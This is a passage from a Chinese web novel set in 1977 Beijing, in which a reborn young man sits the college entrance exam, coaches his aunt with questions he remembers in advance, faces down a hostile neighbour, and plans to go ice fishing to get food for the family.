晚上再出两套数学和语文题,怎么着也能起到个临阵磨枪的作用吧。 高远很清楚小姑的脾气,她是个不愿意给别人添麻烦的人,连参加高考这么重要的事情都没跟二哥二嫂,也就是高远的父母提起过。 说好听一点,这叫自尊心强,说句不中听的,她太固执己见、唾面自干了。 一路飞快地骑行,车链子都快磨出火星子来了。 高远和高跃然到家时,老妈张雪梅刚把饭做好了端上桌。 见小姑子跟儿子一起过来了,张雪梅笑呵呵拉着高跃然的手,问道:“你们姑侄俩咋碰到一起去了?” “二嫂,我也参加高考了,跟小远在一个考点,上午考完后碰到一块儿了。”高跃然不好意思的说道。 张雪梅微微一愣,接着笑了:“挺好的挺好的,有这个机会就别错过。赶紧着,你们俩洗手吃饭吧,吃完饭休息一会儿,准备下午的考试。 还有啊,考试期间跃然就在家里住吧,别回你那纺织厂宿舍了,你们姑侄俩现在都得集中精力应付考试,这一天三顿饭,我给你们做,你就别自己回去开火了,不够麻烦的。” 高跃然反握住张雪梅的手,笑嘻嘻说道:“那我就不跟二嫂客气了哈。” “不跟二嫂客气就对了,赶紧去洗手,咱们开饭。” “好嘞。” 高远和小姑去院里洗了手,回来坐下开吃。 母亲炒了道白菜帮,一盘土豆丝,为了给高远增加营养,又特意炒了四个鸡蛋。 冬天的京城,老百姓家里最常见的就是白菜、萝卜和土豆,绿叶蔬菜不说没有,从南方用车皮运过来的还是有几样的,但只会在一个特定的圈子里出售,平头百姓想吃口绿叶蔬菜,那真是难上加难。 高远因此联想到,高考结束后倒是可以搞一搞大棚种植,那玩意儿没啥技术难度,就是操作起来不太容易。 首先,现如今还没有实行联产承包责任制,土地都是集体所有,个人想承包土地耕种,原则上是不被允许的。 所以说,这个想法不切实际,只能暂时放弃。 高远拿起一个白面馍馍来咬了一口,满足地呲出一口大白牙。 这年头,能吃上细粮就很心满意足了。 大多数家庭还都是白面和棒子面掺着吃,高远家也不例外。 家庭成员每人每月都是有定量的,粗粮多少,细粮多少,凭粮本去粮站购买。 一直到1993年,国家才取消了城镇居民口粮的定量计划供应。 他夹了一筷子炒鸡蛋,放在高跃然咬了一口的馒头上,说道:“小姑你多吃点,瞧你都瘦成啥模样了,我看着都心疼。” 高跃然又把鸡蛋夹回给他,笑着说道:“你吃,姑吃啥都不长肉,就这体质。” 看着姑侄二人你谦我让的,张雪梅笑了:“好了,一盘子鸡蛋至于么,你俩一人半盘,吃不完不行。” 姑侄俩都笑了起来,一顿午饭吃得精神愉悦。 吃过饭后,高远把小姑拉到三抽桌前坐下,挑选出他做过的一份史地模拟卷,用橡皮把答案擦了去,让小姑重新做一遍。 高跃然不解地望着高远,问道:“有必要吗?” “当然有必要了,赶紧做完,临阵磨枪不快也光懂不懂?”高远之所以拿出这份卷子来,是因为卷子上的题目是他为了加强记忆特意挑选出来的,小姑只要掌握了这些知识点,下午的考试对她来说就没有太大问题了。 见侄子郑重其事的样子,高跃然笑了,也知道小远是为自己好,拿起铅笔开始埋头做题。 一个小时后,一张试卷被她填满了答案。 高远拿过来从头到尾看了一遍,针对几道答错的题目又给小姑讲了一遍。 直到小姑弄懂了才结束这次突击教学。 下午不到一点钟,姑侄俩出发去五中。 一点半钟,史地考试正式开始。 高远没搭理坐在前面的乔珊,全神贯注解答着试题,用时60分钟顺利通关,认真检查了几遍后,他有点无聊,决定提前半小时交卷。 在监考老师和诸位同学错愕的目光中,高远大步流星走出考场。 还在答题的乔珊望着高远挺拔的背影,嘴角边扯出一抹嘲讽的笑意,嘀咕道:“我就知道你是个绣花枕头,这么快就自暴自弃了,就这态度也能考上大学的话,那只能说明你简直太天真了。” 第6章 我在这战斗的一年里 高远可不知道乔珊有那么多心理活动,知道了他也不在乎。 他遛遛达达出了校门,走到自行车旁,往后座上一坐,百无聊赖地等待着考试结束的铃声响起。 二十分钟后,考试结束。 参加考试的同学们鱼贯而出,神情又是一个比一个丧,看得高远直乐呵。 他回忆起来,今年的录取率不足4.8%,全国参加高考的考生却有570万人之巨,录取比例为29∶1,竞争极为惨烈。 小姑出来了,脸上挂着明媚的笑容,打量着高远也有些意味深长。 “看样子考得不错啊。”高远从后座上下来,笑嘻嘻说道。 “小远,你是不是提前知道考题了?”见四下里人不多,高跃然低声问道。 考卷发下来后,她一看卷子上那些题目就震惊了,虽然题型有所变化,但换汤不换药,跟中午自己做过的那张试卷简直如出一辙。 这让她不得不怀疑,自家大侄提前知晓了考题。 这个……打死高远都不会承认的。 他故作惊恐状,也四下里瞅瞅,急慌慌说道:“小姑,这话可不能乱说啊,高考泄题,问题有多严重我不说您也应该知道。再说我前些天一直安分守己在家复习,连门都没出,上哪儿偷考题去? 我既没那个渠道也没那么大胆子。” 听他这么一说,高跃然也觉得自己猜忌得毫无道理了。 她也被高远这番话吓住了,是啊,考题泄露可是件了不得的事情,一旦被有关部门调查,全京城几十万考生就得重考。 想到这里,高跃然的脑门儿上沁出了一层冷汗,她忙说道:“小远,小姑说错话了,不该怀疑你的,你别介意啊。” 一手扶着车把,一手搂着小姑的肩膀,高远笑笑后说道:“咱们是一家人啊,我怎么会介意呢。实话跟您说吧,我之所以能押对题,主要是运气好的缘故,明天开考的数学、语文,或许就没那么好的运气了。” 他也有点后悔了,史的这门联考试题,他押得太准了。 到家后可不能再把数学、语文两门考试题目全部泄露给小姑了,起码要故意错几道,只要帮着小姑考上大学,实现她的理想就行了。 这个把握高远还是有的。 见高跃然点头,高远蹁腿上了自行车,等小姑坐上后,他铆足了劲儿,一路雷鸣带闪电,向新开路胡同窜去。 看得旁边几个同学眼珠子都瞪圆了,你家自行车质量再好,也架不住你这么使劲蹬啊,我们看着都心疼。 姑侄俩到家时刚过四点钟,各家各户都还在上班,刘婶也缩在屋里没出来作妖,院子里阴森且静谧。 张雪梅正在厨房里忙活。 高远家这个厨房也是搬过来后私搭的,在南墙角,用砖头和油毡简单搭一个棚子,里面放一个蜂窝煤炉子,一个碗橱就满满当当。 厨房边上垫几块砖,砖上面盖一块木板,木板上整整齐齐码着蜂窝煤,蜂窝煤用塑料布遮盖起来,一看就是爱干净的人家。 像刘向前、刘婶那样的窝囊户,蜂窝煤就随便放,一到下雨天,被雨水一淋,蜂窝煤立时成了一滩滩黑水,流得满院子都是。 高远停好车子,蹑手蹑脚摸进厨房,在老妈身后站定,大喊一声:“妈!” “妈呀!臭小子你要吓死我啊。”张雪梅正在准备做晚饭,冷不丁被吓了一跳,扭头就给高远来了一下子。 老妈也才四十出头儿,身材苗条风韵犹存。 虽说在乡下当了几年赤脚医生,倒也没受多少磨难,反倒比整日辛苦劳动的父亲还要健康一些。 高远没心没肺地笑着,凑近了一瞧,问道:“今晚吃啥?” 张雪梅掀开蒸布,拿出一条肥瘦相间的五花肉来,说:“给你们做炸酱面吃。” 高远俩眼珠子眯溜圆,好奇地问:“哪儿来的五花肉啊?” 他回来十多天了,别说肉了,肉末都没吃上一口。 这年头不是买不起肉,是根本买不着。父母的工资加一块儿也有八十多块钱,足够一家人生活的了。 但城市居民每人每月仅供应猪肉3两到半斤,一个月改善两次生活的家庭都算是奢侈的。 老妈手里这块肉就有半斤了,高远觉得很惊奇。 张雪梅低声解释道:“我今天下午出了趟门,在藏经阁胡同那边碰到了个乡下来的屠户,那屠户不敢声张,偷偷摸摸地卖肉,他见我手里拎着三斤大米,就提出来跟我交换。 我一瞧肉挺新鲜,也还划算,就跟他换了。” 现在的物价水平,富强粉两毛六一斤,标准粉一毛八,最好的小站米一毛八分五,次一级的粳米一毛六,猪肉七毛五,白菜才三分钱一斤。 高远不用问就知道,老妈是用粳米从屠户手里换来了半斤五花肉。 这买卖划算吗? 老妈说划算那就划算吧。 高远非常理解老妈的心思,老妈这时见自己用功读书,正在参加高考,想着法子给自己补充营养呢。 抱着老妈的肩膀,高远说道:“妈,费心了。” 儿子突然的转变让张雪梅还有点不适应,她扭头一笑,说道:“别煽情啊,搞得你妈我很不习惯,赶紧复习功课去,别在这里给我添乱。” 高远哎了一声,松开老妈,转身瞧见小姑正笑眯眯看着自己,他也有点害羞了,走过去,挽着小姑的胳膊,说:“走走走,我再给您找两套试卷做,您这学习基础太差了,得好好补一补啊。” “臭小子,在你妈那儿没得到好脸,你就使劲折腾你姑是吧?”高跃然打他一下,见他嬉皮笑脸的样子,又剜他一眼,被他拽进了屋。 高跃民回来的时候已经快七点钟了。 儿子高考,他也没请假,只是跟车间主任打了声招呼,晚去了一会儿。 今年的环境比前些年宽松了一些,风向也有所变化了。 高跃民听到了一点风声,上面流露出全面摘掉右派帽子的想法。 如果说这个政策能够得到落实,大哥就有盼头了。 他今天更是得到了一个天大的好消息,学院的教务处长去首钢找到他,跟他透露说,准备准备,院里年前就会把你要回去,让你继续从事高数教学工作。 过完年,等这届大学生报到后,你就要再次走上讲台了。 这一消息让高跃民一整天都乐呵呵的。 连带着,车间主任对待他的态度都不似以往那般严厉,变得和蔼可亲起来。 一进门,高跃民就看见儿子和妹妹一人一把椅子,头碰头坐在桌前低声交流着什么。 他一愣,走过去问道:“跃然单位上不忙啊?” 高跃然一扭头,见二哥回来了,腼腆一笑,说道:“二哥,我参加高考请假了。” 高跃民又是一愣,接着也笑了起来:“好好好,有这个机会就别错过,说不定咱家今年能出三个大学生呢。” “妥妥的。”高远接了一句。 “嚯,这么有信心啊。”高跃民划拉一把高远的头发,又说道:“先吃饭吧,吃晚饭再学。” 张雪梅挑开门帘,端着一晚香气扑鼻的炸酱走进来。 高跃民提鼻子一闻,乐了:“哟,今儿吃炸酱面啊,有口福了。” 张雪梅白他一眼,道:“沾你儿子和妹妹的光,让你也跟着开开荤。” 高跃民哈哈大笑:“对,沾光了,我去帮你端面条。” 他奔厨房,端回四碗面条来。 张雪梅也去厨房里端回来两个菜碟,一个炝拌土豆丝,一碟子白萝卜丝。 京城人吃炸酱面是很讲究的,夏天配黄瓜丝、胡萝卜丝、豆芽菜和青豆,冬天配芹菜段、水萝卜丝、鸡蛋皮丝和黄豆。 这年头儿家家困难,也就没那么多穷讲究了,能吃上口炸酱面,还有两个菜码你就知足吧。 高远绊着面,瞧老爸今天兴致挺高,隐约猜到了些什么,但还是问道:“爸,有啥好事发生吗?瞅您今儿挺高兴啊。” 高跃民吃一口面条,见老婆、妹妹也都望着自己,一笑,说道:“组织上给我恢复工作了,上午刚到单位上,学院教务处周主任就找到我说,让我准备准备,回学院工作。” 张雪梅喜上眉梢:“好事啊,这可是天大的好事。” 高跃然想了想后问道:“二哥,你回去工作,组织上是不是也该把收回去的房子还给你啊?” “这个我还真没打听,不过应该会还的吧?” “一定会还的,但也得老爸您主动去跟学院领导争取一下。”高远说道。 “小远这话说得没错,你得发挥主观能动性,多跑跑,你不提,领导肯定不会发善心,主动还给你的。”张雪梅也提醒了一句。 高跃民寻思寻思,下定了决心说:“等回学院报了到,我就跟院领导说说这件事情,争取尽快把房子要回来。” ………… 昨天晚上,小姑是跟老妈一起睡的。 老爸被赶到了外间,跟高远睡了上下铺。 次日一早,寒风凛冽。 吃过早饭,张雪梅给高远拿了一顶棉帽子扣在他脑袋上。 高远很抗拒,这玩意儿太拉低他的颜值了,但也不能辜负了老妈的好意,他穿上军大衣,拉着同样被老妈武装得严严实实的小姑出了门。 上午九点钟,数学开考。 对高远来说,数学题太简单了,他依然如昨,做完后检查了几遍,确认答案大差不差后提前交卷。 下午一点半,最后一门语文考试正式开始。 语文的第一道考试题目就是命题作文——《我在这战斗的一年里》。 高远对这道作文题印象非常深刻,他还记得,京城今年的高考状元刘学红写的这篇作文被《人民x报》刊登了。 刘学红根据亲身经历,描写了她作为一名普通知青,如何在广阔的农村大有作为。 报纸刊登这篇文章的时候,高考还没公布分数。 后来,这篇作文得了99分(实际分数乘以0.7),也相当于满分作文了。 刘学红因此名声大噪。 第7章 考完收工和矛盾冲突 高远准备得很充分,他也很重视这次语文考试。 他早就打好了腹稿。 你写知青岁月,写如何在乡村通过劳动转变思想观念,跟贫下中农打成一片。 那我就写在过去的一年里,如何通过学习完成蜕变,写对这个时代的展望,写年轻人如何才能全身心地投入到四个现代化的建设中去。 他的开头是这样写的:光阴似箭,日月如梭,回首过去这一年,是充满挑战和奋斗的一年,是我在无数困难中砥砺前行,不断成长的一年。 这一年,宛如一场没有硝烟的战斗,让我深刻领悟到了坚持与勇气的力量…… 真真是文思如泉涌,灵感如尿崩,越写越顺畅。 写完这篇作文,高远活动了下手腕。 他是不敢东张西望的,一旦被监考老师认定有作弊的嫌疑,之前考完的三门就算白考了。 高远低着头,稍微缓了缓,然后继续答题。 后面一道题是文字解析,何为中国脊梁? 最后一题是文言文译成现代汉语。 高远顺利完成这两道题目的解答,再往后看,还有一道参考题,也是文言文译成现言。 这道题可答可不答,并且不计入总分,只作为录取之后能否跳级的参考。 对高远来说,这道题根本没难度,他顺手就作答完毕。 当然,他也没打算跳级。 他藏了个心眼儿,语文成绩好,被人大中文系录取后,能获得老师的资源倾斜不说,或许还能从事一点与文字相关的工作。 高远这几天想得挺通透,在这个年代里,想挣钱,想过上吃喝不愁的生活,无非就那么几条路: 首选是当作家,文人在这个时代中地位极高,尤其是那些写伤痕文学的那帮人,备受尊崇。 随着各大报社、杂志社的复刊,加上国家下发了一纸公文——稿费改革,立刻点燃了文人们滚烫的热情。 国家出台的这个标准是:著作稿每千字2——7元,翻译稿每千字1——5元。 高远上辈子在图书馆工作的时候,没事净看书了,不管是中外文学、历史名著,还是名人传记、自然科学,只要是书他都看。 第一是闲得实在没事儿干,第二他也确实喜欢看书。 后来网络文学鼎盛时期,他连网文都不放过。 犹记得有家工作室招人写开头,千字给5块钱,他还劲儿劲儿地投过稿,运气不错,居然过了,六千字挣了30块钱。 这个年头如果能靠写稿子挣稿费,说出去不仅体面,钱的来路也光明正大,并且这项工作具备可持续发展性。 高远的第二个选择是当编剧,这玩意儿比当作家来钱还要快,你创作的故事被某个电影厂相中了,购买版权就不是一个小数目。 当然他也有第三个就业选择,去南方当倒爷,但风险性很高,他暂时不作考虑。 胡思乱想中,最后一门考试结束的铃声响了起来。 监考老师还是那套嗑:“考试结束,请同学们立刻放下钢笔,保持安静,等待收卷。” “后面那位同学,对,就是你,别写了,再写,按照作弊处理!”他又严厉地对后面一位同学呵斥了一句。 高远也不敢回头看是哪个倒霉蛋被老师盯上了,默默坐在椅子上,等老师走过来,收走试卷后方才吐出口气。 高考终于结束了。 监考老师深深看了他一眼。 他对这个学生印象深刻,两天考了四门,有两门提前交卷。 本以为这个小伙子是个滥竽充数的学生,收走他的试卷后没忍住好奇心看了看,发现他解答的题目字迹工整,思路清晰,原来是个隐藏的优等生。 后世被称之为:学霸。 现在自然是没有这个词儿的,但高远优秀的表现还是让监考老师对他刮目相看了。 两位老师私下里交流过,一致认为这孩子有状元之才。 老师把考卷全部收完并现场进行了封存,这才让同学们有序离开。 高远心情愉悦,跟乔珊擦肩而过时,瞧见她那张冷若冰霜的脸也没太在意,还冲乔珊微笑着点了点头。 乔珊欲言又止,姑娘其实想问问高远发挥得好不好,又觉得拉不下脸来。 自己凭什么主动跟他说话呀。 眼睁睁看着高远快步离开,一点跟自己打招呼的意思都没有,乔珊心里五味杂陈。 我就这么不招你待见吗? 高远在哼小曲:老师教的二十四节气,懂了就上了年纪,戴着耳机听着流行歌曲,磁带在铅笔上老去…… 高跃然突然出现在他身后,一拍他的肩膀说道:“还怪好听的,这是啥歌啊?谁唱的?” 高远被小姑吓了一跳,嘿嘿笑道:“我的原创,好听吧?” “你还会写歌?” “我会的多了,写歌有什么难的。” “嘁,德性!说你胖你还喘上了。” 高跃然偏坐在后座上,搂着高远的腰,说道:“走走走,回家。” 看她这神采飞扬的神色,明显考得不错。 高远蹬上车子,又是一路电闪雷鸣,回到院子里。 下午天气暖和了些,风也没那么凛冽了。 刘婶坐在门口晒太阳,见这姑侄二人推着自行车走过来,刘婶一点让行的意思都没有,开口就是嘲讽:“哟,未来的大学生回来了?考得咋样啊?没考糊吧?我就说了,你们家祖坟上就没冒过青烟,就别费那个心思考什么劳什子大学了。” 她这两天很老实,那是因为开考前一天傍晚她跟西屋的李凤芝嚼老婆舌头,说以高家小子那臭德性,能考上大学那真是见了鬼了,老高家祖坟上就没冒过青烟。 这话刚好被张雪梅听了个正着。 张雪梅可不惯她这臭毛病,当即怼了回去:“你个老妖婆再敢背地里对我家小远说三道四的,你看我敢不敢撕烂你这张嘴!还有,孩子明天就要考试了,你最好给我安分一点,干扰了孩子的情绪,我拼着进局子也跟你没完!” 见张雪梅怒火中烧、气势汹汹,刘婶老实了。 但也就憋了两天,今儿她蹲守在门口,就是打定主意等高远回来后出出心里这口恶气。 一瞧她这副泼妇嘴脸,高远就知道这娘们儿是故意找茬,当下把自行车往她身前拱了拱,说道:“考得咋样不劳你操心,有这个闲工夫关心我,你还是多替你家二小子费费心吧。 我听说,你家二小子正跟他媳妇闹离婚呢,因为啥来着? 哦,想起来了,他作风不端正,跟北屋的魏红霞勾搭到一起去了,被他媳妇堵在了床上,两口子闹得厉害。 你咋不管管啊?” 刘婶像是被高远戳了肺管子似的一蹦三尺高,疾言厉色道:“你个小王八蛋休得胡说!根本没有那档子事儿,你再敢胡说八道,老娘抓花你这张脸!” 说着,她真就张牙舞爪扑上来。 高远推着自行车后撤了一步。 高跃然很有眼力见儿,跟自己侄子也配合默契,当即一个大步跨上前,一把擒住刘婶的手腕,左手推向她下垂的胸脯子,双眼精光爆闪,语气冷若寒冰:“老丫挺的,你还没完了是吧?你想抓花谁的脸?我先抓花你的脸!” 话音落下,高跃然倒是没去抓刘婶的脸,但她却松开了右手。 刘婶被推了一个趔趄,没刹住车,一屁股墩儿跌坐在了地上。 这老娘们儿也是无敌了,一骨碌坐起来,双手拍打着大腿,干嚎着撒起泼来:“哎哟喂,我滴个老天爷啊,我活不起了啊,被老高家俩小辈儿这么欺负,还有没有天理啊,有没有人管啊……” 她这一嚎,把四邻八舍全惊动了。 街面上人本就多,再加上跑出来看热闹的邻居们,高远家门口乌泱泱围了一群人。 高远一看,人都到齐了,立马精神焕发,他指着老妖婆高声对大家说道:“这个歪嘴儿婆子没安好心,背地里编排我考不上大学就算了,还拿我家祖坟说事儿。 今儿更过分,她知道我和姑姑今天考完,特意等在这里对我阴阳怪气,冷嘲热讽。 刘婆子,你不就是信口开河被我妈听到后警告了两句么,你至于对我家有这么大仇恨吗? 开口闭口我们家祖坟怎么样,你这是在公然宣扬封建迷信! 新中国都成立多少年了,你还信牛鬼蛇神那一套,难不成,你还想复辟三座大山吗? 还想要骑在老百姓头上作威作福吗? 我们一家人老实憨厚,但也由不得你这么欺负!” 第8章 饶我一回吧 “说得好!” 不知道哪位爷叫了声好,看热闹的行人、邻居们顿时沸腾起来。 “小远说得对啊,封建思想要不得,这都什么年代了,你个老娘们儿还一脑袋封建残余思想,搁前两年,你说这话就该被拎上台狠狠批斗!” 说这话的是高远的邻居秦大爷。 这老头儿是街道派出所聘请的治安员,办事公道,为人正派,也热心肠,谁家有个困难,秦大爷都会帮把手,深受胡同里广大人民群众的爱戴和尊重。 “甭说前两年了,这两年说这话也不成啊,要我说,就刘婶这个思想,这种企图复辟封建社会不良风气的恶劣行为,就应该被送到革委会去对其进行社会主义再教育。” 人群里又爆发出一个声音。 高远扭头一瞧,是胡同东头的马三哥。 他冲马三哥抱了抱拳,对马三哥的支持表示感谢。 马三哥呲牙一笑,挑了挑眉毛。 刘婶在胡同里不得人心啊,都是因为她那张破嘴闹的。 一顶顶大帽子刷刷飞过来,刘婶脸煞白,这会儿也不嚎了,似乎回忆起某些事情,身子一阵止不住的抖动,嘴唇也哆嗦起来。 秦大爷走过来,瞥她一眼,低声问高远:“要不,我去街道办打声招呼,让领导们过来处理一下?” “别!”没等高远说话,刘婶闻言腾地站起身,两个大步窜到秦大爷跟前,拉住他的胳膊恳求道:“秦大哥,我错了,我真知道错了,求您千万别向革委会告发我,给我一次改正错误的机会吧。 我也给……小高道歉,求你看在大家都是邻居的情分上,饶婶子一回吧。” 秦大爷冷哼一声,望向高远。 要不要放过她,得高远这个事主来决定。 高远看着眼泪汪汪、心惊胆战的刘婶,心说这娘们儿就是嘴碎,也有点欺软怕硬,却还没坏到复辟封建残余的地步。 自己之所以给她扣帽子,目的是为了打击一下她嚣张的气焰,让她长个教训,以后别再嚼自己家的舌根子了。 也是为了今后收回这套院子做个铺垫,并不是真想把她往死里整。 见她认怂了,高远对亲大爷说道:“大爷,算了吧,得饶人处且饶人,只要刘婶保证,今后管好她那张嘴,别再背地里说我家坏话,给我父母添堵了,这事儿就这么着吧。 况且街道办的领导们工作繁忙,为了这么点鸡毛蒜皮的邻里纠纷就给领导们添麻烦,那我也太不懂事了。” 秦大爷诧异地望住高远,仿佛不认识他一样,感觉很陌生,“你小子,啥时候变得这么懂事了?” 这话让街坊邻居们都放声大笑起来。 高远摸摸鼻子,不好意思地说道:“过完年我就十八了,再不懂事就说不过去了。” 秦大爷欣慰地拍拍他的胳膊,说道:“好孩子,既然你不打算追究了,那……” 他又把目光对准了刘婶那张刻薄的脸,沉声说道:“还不赶紧向高远打个保证,等高远变卦了,你就得进去接受改造!” 刘婶忙不迭说道:“小高,我向你保证,今后绝不会再胡咧咧了,一定管好我这张嘴。” “以观后效吧。” 有道是:江山易改本性难移。 刘婶的保证,高远一个字儿都不带信的。 她也就老实几天,过段时间,该作妖还是会作妖。 况且她家二小子也不是个省油的灯。 今儿这事儿她一定会跟她家二小子添油加醋一番的,高远心想,还得防一手啊。 见问题解决了,秦大爷对大家伙儿说道:“散了吧,都散了吧,天儿不早了,该回家做饭的回家做饭,该忙啥的去忙啥,别在这里聚着了,又不是开大会。” 秦大爷的威望起了作用,大家伙儿一哄而散。 门前瞬间清静了。 高远笑着对秦大爷说:“您老来家里坐坐。” 秦大爷一笑,摇头说道:“不去了,你大妈一个人在家,我得回去帮她做饭。” 高远也没强留,目送秦大爷离开后,他才推着自行车,和小姑进了院子。 外面的喧嚣张雪梅早就听到了。 她出来看了看,本想着帮把手,亲自上阵跟刘婶理论一番,发现儿子处理得十分得当,几句话就把刘婶吓得险些尿了裤子,干脆放手任由儿子发挥。 “你个臭小子,就不是个嘴上吃亏的主儿。”笑骂了高远一句后,张雪梅自个儿也笑了起来。 高远把车子支好,挽着老妈的胳膊往屋里走,进了屋后说道:“刘婶这种人,你不吓唬吓唬她,她永远不长记性。为了咱家能过几天安生日子,我才给她扣帽子的。” 高跃然附和道:“二嫂,小远这话说得没错,老刘家的那张破嘴太讨厌了,谁家有个事儿,被她知道了一夸大,不出一个时辰整条胡同的妇女同志们人尽皆知。 她向来会造谣,今儿这事儿要不是小远制止得及时,吓唬住了她,被她传出去,让大家伙儿怎么看咱们一家人啊? 说小远考上了大学是因为祖坟上冒了青烟,是被祖宗关照了蒙上的,对小远的名声也会造成很恶劣的影响。” 张雪梅眯着眼,气愤道:“这个老刁婆,心思是挺歹毒的。不过你教训也教训了,大家低头不见抬头见的,她也向你保证过了,这事儿就到此为止吧。 唉……也不知道啥时候能搬回学院家属楼里去,这破院子,我是住得够够的了。” 高远拍拍老妈的手背,说道:“我也住够了,晚上起夜还得跑到胡同西边去上厕所,也忒麻烦了。慢慢等吧,等我爸恢复了工作,跟院领导提一提,相信很快就能搬回去的。” 他记得,上辈子好像是在次年开春儿,钢铁学院正式复课后,父亲才找到院领导提出归还房子一事,院领导为此开了个会,专项研究了这个事情后,又过了一段时间才把房子归还给自己家的。 因为学院里存在这种情况的教师不在少数,被打倒的教师们回到原单位工作后,都面临没房住的问题。 不管是为了安抚教师们的心也好,还是为了落实政策也罢,院领导们经过研究后最终还是把收回去的房子又重新分配给了教师们。 张雪梅从椅子上站了起来,看看窗户外面的天,说道:“也只能等着了,你们姑侄俩歇一会儿,我去做饭。” 高跃然也从床边站起身,笑着说:“我不累,帮二嫂忙活忙活。” 高远问道:“晚上吃啥啊?” “下午买了块豆腐,我还去六必居买了点咸菜疙瘩。” “咸菜滚豆腐吗?” “滚个头!日子不过了,这么奢侈?用热水焯一下,切点葱花拌一拌就得了。” 中午饭还三菜一汤呢,虽说都是萝卜白菜。 我刚考完你就降伙食标准,老妈您这脸变得也太快了一些。 高远强忍住吐槽,默默接受了这个现实。 张雪梅和高跃然去厨房里做饭了。 高远摸摸肚子,倒没感觉到有多饿,只是觉得胃里缺油水。 在这个有钱也买不到肉的年代里,副食本上连那些鸡蛋、油盐酱醋、豆腐、芝麻酱都是定额配给的,按人头来计算。 想吃顿肉也不是一点办法都没有,你只能去那几家不要肉票的大饭店里过嘴瘾,比如说京城饭店。 但普通群众根本消费不起,因为太贵了。 再想打牙祭怎么办? 别人没办法,高远有招儿。 高考结束了,闲着也是闲着,他决定明天去护城河边上钓几条鱼来改善生活。 鱼竿是没有的,但这也难不住他。 家里有夏天撑蚊帐用的竹竿,还是经过火烤的,一根一米半长,韧性十足。 鱼线就比较麻烦了,这时候大多是棉线,很不结实,一扯就断。 高远琢磨了琢磨,把主意打到了小姑身上。 小姑在区棉纺厂上班,棉纺厂里最不缺的就是扯不断的化纤线,给小姑一毛五分钱,让她跟车间主任买一卷,鱼线的问题就解决了。 最后是鱼钩,这个也不难。 老爸还在首钢工作呢,拜托工友们帮着磨两根倒死钩的钢针不成问题。 至于说浮漂,现在是寒冬腊月啊,不论护城河还是什刹海,水面上都结了一层厚厚的冰,想钓鱼,得砸开冰面才行。 所以说,浮漂的作用不大,凭手上的感觉就能知道鱼上没上钩。 高远想到了就去做。 他出门跑到住户们共用的杂物间,拉开灯绳,在墙角边上发现了竹竿,挑了一根一米出头的,又找了块破布从头到尾擦了一遍。 掂了掂分量,挺趁手,这才拉上灯绳走出来。 天已经全黑了下来,高跃民也踩着夜色到了家。 看一眼桌子上的菜,葱花拌豆腐、酱黄瓜、酱豆腐…… 高跃民啧了一声,调侃道:“这还真是……一夜回到了解放前啊。” 高远和小姑对视一眼,都笑得直不起腰来了。 老爸是有点幽默细胞的,他只是不外露罢了。 前些日子还像条咸鱼的儿子突然就鲤鱼打挺了,让高跃民的心情都灿烂起来。 第9章 钓鱼佬的幸福生活 再加上恢复工作近在眼前,车间主任基本上不给他安排重体力劳动了,他更是精神愉悦。 所以就开起了玩笑。 张雪梅一听,白了他一眼,说:“有的吃就不错了,你还挑三拣四上了。” 高跃民一点都不生气,往脸盆里舀了半瓢凉水,又拿起暖瓶兑上热水,试了试温度后洗了手,走回来坐下后乐呵呵说道:“夫人教训得极是,这刚吃了没几天饱饭,我不该对吃喝有那么多需求。 思想不端正了,存在严重的享乐主义,夫人放心,我改,我一定改。” 张雪梅噗嗤笑了,塞给他一个玉米面、白面两掺的馒头,说道:“你今天可够贫的,少啵啵两句吧,吃饭都堵不住你的嘴。” 高远也拿起个馒头,一掰两半,夹了块酱豆腐搁里面,挤匀了,咬一口嚼嚼咽下后说道:“人的需求共分为五个层次,最基础的是生理需求,接着是安全需求、社交需求、尊重需求以及自我价值实现需求。 吃喝就属于生理需求。 老爸说得吃饱喝足,其实并不是啥过分的要求。 当然,在现如今这个社会大环境中,能吃口饱饭已经很不容易了,但是追求吃得好一点,也不能说就是犯了思想错误。” 听了他这套理论,高跃民愣了一下,接着问道:“儿砸,你想表达什么观点啊?” 高远又咬了口热腾腾的馒头,笑笑后说道:“没啥观点要表达,我是想说,能吃上口肉,谁愿意去吃糠咽菜呢。那个啥,爸、妈,这高考也结束了,我在家里闲着也是闲着,就打算明天去护城河那边钓鱼,二位说可以吧?” 高跃民也是个垂钓爱好者,高远的钓鱼技术还是他手把手教出来的。 闻言,他倒是没啥不同意见,说道:“去钓几竿子也行,不过你得注意安全啊,这大冬天的,冰面上可滑。” 见高远点头说好,高跃民又给出了建议:“别去护城河钓,要去你就奔后海,护城河里不干净,据说早年间,谁家有饿死的,病死的人,早夭的孩子,都往护城河里扔。 护城河有鱼,但大多数鲶鱼。 那玩意儿喜腥,就是靠吃死人存活,太脏了,你钓上来也不能吃。 后海那边就不一样了,水质清澈,水面也开阔。 你奔西边走,躲着点儿滑冰的小青年们,在冰面上凿开个窟窿就能有鱼上钩。 二三两的鲫鱼不老少,运气好的话,你说不定还能钓到白鲢或是黑鱼。” 张雪梅日常互怼道:“瞧你眉飞色舞的样子,一说起钓鱼来你还滔滔不绝了,工作上可没见你这么上心过,要不你也请天假跟儿子一起去过把钓鱼的瘾吧。” 高远和高跃然又笑了起来。 高跃民面色一囧,吃口馒头夹一筷子酱黄瓜,咽下后说道:“这么关键的时候我可不敢请假,我这不是给儿砸传授一点钓鱼的经验么。 我看出来了,儿砸去钓鱼是为了改善大家的生活,能多钓几条,咱们就能多吃几顿。 我还想着……” 他叹声气,没继续往下说。 高远是理解父亲的想法的,看着父亲满面愁容,他说道:“您是想,我有了鱼获后,炖几条鱼给我大伯送过去吧?” 高跃民眼睛一亮,说道:“你能理解老爸的心思,老爸就格外高兴,没错,爸就是这么想的。” 高跃然的神情也黯淡下来,听了高远的话后亦是双眼亮晶晶的。 她是两个哥哥一手带大的,对大哥、二哥感情深厚,一想到大哥现如今还在牛棚里遭罪,心里就一阵阵的发紧。 好在侄子是个有心人,这时候还能想着他大伯。 高跃然有点激动,对高远说道:“小姑打小没白疼你,小远,谢谢了。” “见外了不是,跃华同志不仅是您和我爸妈的大哥,也是我亲大伯,我给大伯做些好吃的,照顾一下大伯的生活还不是应当应分的,只要钓到鱼了,我明儿就炖一锅给大伯送过去,让大伯补补身子。”见气氛有点凝重,高远笑着说道。 “二哥二嫂,小远是个孝顺孩子。”高跃然说道。 张雪梅点头认可道:“这个臭小子仿佛一夜间就长大了,变得我都不太适应了。不像高山那个浑蛋玩意儿,他爸刚被隔离审查,他就迫不及待地跟他爸划清界限,良心都被狗吃了。” 说起大侄子高山来,高跃然也满脸气愤:“那就不是个东西,还有我那个势利眼的大嫂,唉……” 